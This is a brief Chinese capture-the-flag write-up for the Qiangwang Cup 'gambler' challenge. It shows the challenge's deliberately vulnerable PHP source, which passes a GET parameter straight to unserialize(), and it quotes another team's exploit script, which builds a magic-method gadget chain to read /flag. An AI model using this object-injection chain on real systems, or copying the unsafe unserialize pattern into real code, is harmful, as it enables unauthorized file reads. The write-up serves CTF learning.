强网杯一道题的wp

就复现出来了 赌徒 太难了。。。

题目提示看源代码

扫到www.zip就下载下来了

`<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
	
    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
	
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
	
    public function __get($name){
        $function = $this->a;
        return $function();
    }
	
    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

?>

反序列化

下面是Nu1l的wp

<?php
class Start
{
 public $name;
 public function __construct($a){
 $this->name=$a;
 }
}
class Info
{
 public $file;
 public function __construct($b){
 $this->file['filename']=$b;
 }
}
class Room
{
 public $filename="/flag";
 public $a;
 public function __construct(){
 $this->filename="/flag";
 }
 public function invoke(){
 $this->a=new Room();
 }
}
$a=new Room();
$a->invoke();
$b=new Info($a);
$c=new Start($b);
echo serialize($c);
?>

一些知识点：

用到了魔术方法__construct() __invoke()``__tostring

这题这个调用链比较简单容易构造（虽然我自己也没构造出来